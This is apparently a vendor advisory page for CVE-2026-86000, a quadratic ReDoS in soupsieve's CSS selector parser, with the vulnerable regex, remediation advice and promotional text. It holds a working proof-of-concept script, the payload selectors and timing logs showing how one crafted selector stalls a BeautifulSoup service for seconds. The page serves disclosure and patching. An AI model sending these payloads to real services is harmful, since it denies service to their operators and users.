CVE-2026-86000

CVE-2026-86000 is a medium-severity uncontrolled resource consumption vulnerability in soupsieve (pip), affecting versions < 2.9.0. It is fixed in 2.9.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Soup Sieve: Polynomial-time ReDoS (O(n²)) in the IDENTIFIER / VALUE selector sub-patterns

soupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared IDENTIFIER sub-pattern (also embedded in VALUE, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: (?:[classA]|ESC)+(?:[classB]|ESC)*, where both classes match ordinary identifier characters such as a. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing ], or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the + group and the * group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.

Trust model (Q0)

The selector string is the input. It reaches this code via soupsieve.compile(), soupsieve.select/iselect/match/filter, and, most commonly, BeautifulSoup's soup.select(selector) / soup.select_one(selector), which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.

Root cause (exact anchors), src/soupsieve/css_parser.py

# lines 122-126
IDENTIFIER = fr'''
(?:(?:-?(?:[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})+|--)
(?:[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})*)
'''
# line 129, VALUE embeds IDENTIFIER (so attribute values inherit the pattern)
VALUE = fr'''(?:"(?:\\(?:.|{NEWLINE})|[^\\"\r\n\f])*?"|'...'|{IDENTIFIER})'''
  • classA [^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f] excludes digits (0x30-0x39); classB [^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f] allows digits. The intent is "first char not a digit, remaining chars may be digits."
  • Both classes match ordinary letters (e.g. a = 0x61). The construct is therefore effectively (?:C)+(?:C)* over an overlapping class C, the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.

The quadratic only manifests when the overall match must fail. IDENTIFIER matched greedily on "a"*n succeeds in linear time (1 ms at n=32000). Anchoring it so a following element is mandatory and fails (IDENTIFIER + "$" against "a"*n + "!") reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (×4 per ×2). Profiling compile("[a=" + "a"*4000) shows only 12 re.match calls consuming 2.685 s, i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).

Reproduction environment (discipline #12, published artifact)

  • git HEAD 751c57b (2.9, PYTHONPATH=src): cd src && python3 ../poc/poc_redos_compile.py.
  • Published PyPI soupsieve 2.8.4 (fresh uv pip install soupsieve beautifulsoup4): cd poc && ../.venv-published/bin/python poc_redos_compile.py → same O(n²) (evidence: poc/evidence_redos_compile_PUBLISHED_2.8.4.log).
  • Python 3.11.15 and 3.14.6 both reproduce.

PoC (poc/poc_redos_compile.py)

import sys, time
sys.path.insert(0, ".")
import soupsieve as sv

def compile_time(sel):
    t0 = time.perf_counter()
    try:
        sv.compile(sel)
        status = "ok"
    except Exception as e:
        status = type(e).__name__
    return (time.perf_counter() - t0), status

print(f"soupsieve {sv.__version__}\n")

print("Payload A: '[a=' + 'a'*n   (unterminated attribute value)")
for n in (1000, 2000, 4000, 8000):
    dt, st = compile_time("[a=" + "a" * n)
    print(f"  n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms  [{st}]")

print("\nPayload B: 'a'*n + '!'   (identifier run + invalid trailing char)")
for n in (2000, 4000, 8000, 16000):
    dt, st = compile_time("a" * n + "!")
    print(f"  n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms  [{st}]")

payload = "[a=" + "a" * 12000
dt, st = compile_time(payload)
print(f"\n[+] Single call: compile('[a=' + 'a'*12000)  (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s   [{st}]")

End-to-end note: bs4.BeautifulSoup(html).select(payload) reaches the same compile() path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: soup.select("[a=" + "a"*6000) took ~5.0 s for one call (evidence: poc/evidence_bs4_select_PUBLISHED_2.8.4.log).

Evidence, HEAD 2.9 (verbatim poc/evidence_redos_compile.log)

soupsieve 2.9

Payload A: '[a=' + 'a'*n   (unterminated attribute value)
  n=1000   len=1003        214.8 ms  [SelectorSyntaxError]
  n=2000   len=2003        504.7 ms  [SelectorSyntaxError]
  n=4000   len=4003       2031.9 ms  [SelectorSyntaxError]
  n=8000   len=8003       8091.3 ms  [SelectorSyntaxError]

Payload B: 'a'*n + '!'   (identifier run + invalid trailing char)
  n=2000   len=2001         79.7 ms  [SelectorSyntaxError]
  n=4000   len=4001        322.9 ms  [SelectorSyntaxError]
  n=8000   len=8001       1328.9 ms  [SelectorSyntaxError]
  n=16000  len=16001      5379.4 ms  [SelectorSyntaxError]

[+] Single call: compile('[a=' + 'a'*12000)  (len=12003)
[+] wall time = 18.28 s   [SelectorSyntaxError]

Evidence, published 2.8.4 (verbatim poc/evidence_redos_compile_PUBLISHED_2.8.4.log)

soupsieve 2.8.4
Payload A: '[a=' + 'a'*n
  n=1000   len=1003        113.9 ms  [SelectorSyntaxError]
  n=2000   len=2003        457.2 ms  [SelectorSyntaxError]
  n=4000   len=4003       1816.8 ms  [SelectorSyntaxError]
  n=8000   len=8003       7299.0 ms  [SelectorSyntaxError]
[+] Single call: compile('[a=' + 'a'*12000)  wall time = 16.57 s   [SelectorSyntaxError]

Impact, calibrated

  • Confirmed: quadratic CPU consumption per compile()/select() call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).
  • Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.
  • NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected, stated to avoid inflation.

Impact

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-86000 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.9.0); upgrading removes the vulnerable code path.

Affected versions

soupsieve (< 2.9.0)

Security releases

soupsieve → 2.9.0 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

  • Remove the adjacent-quantifier ambiguity in IDENTIFIER: match a single leading non-digit character then the remaining class once, e.g. (?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*), so no +/* pair spans the same characters.
  • Alternatively use atomic grouping / possessive quantifiers where supported ((?>...), *+) to forbid backtracking into the identifier run.
  • Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.

Frequently Asked Questions

  1. What is CVE-2026-86000? CVE-2026-86000 is a medium-severity uncontrolled resource consumption vulnerability in soupsieve (pip), affecting versions < 2.9.0. It is fixed in 2.9.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
  2. How severe is CVE-2026-86000? CVE-2026-86000 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of soupsieve are affected by CVE-2026-86000? soupsieve (pip) versions < 2.9.0 is affected.
  4. Is there a fix for CVE-2026-86000? Yes. CVE-2026-86000 is fixed in 2.9.0. Upgrade to this version or later.
  5. Is CVE-2026-86000 exploitable, and should I be worried? Whether CVE-2026-86000 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-86000 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-86000? Upgrade soupsieve to 2.9.0 or later.

Other vulnerabilities in soupsieve

Stop the waste.
Protect your environment with Kodem.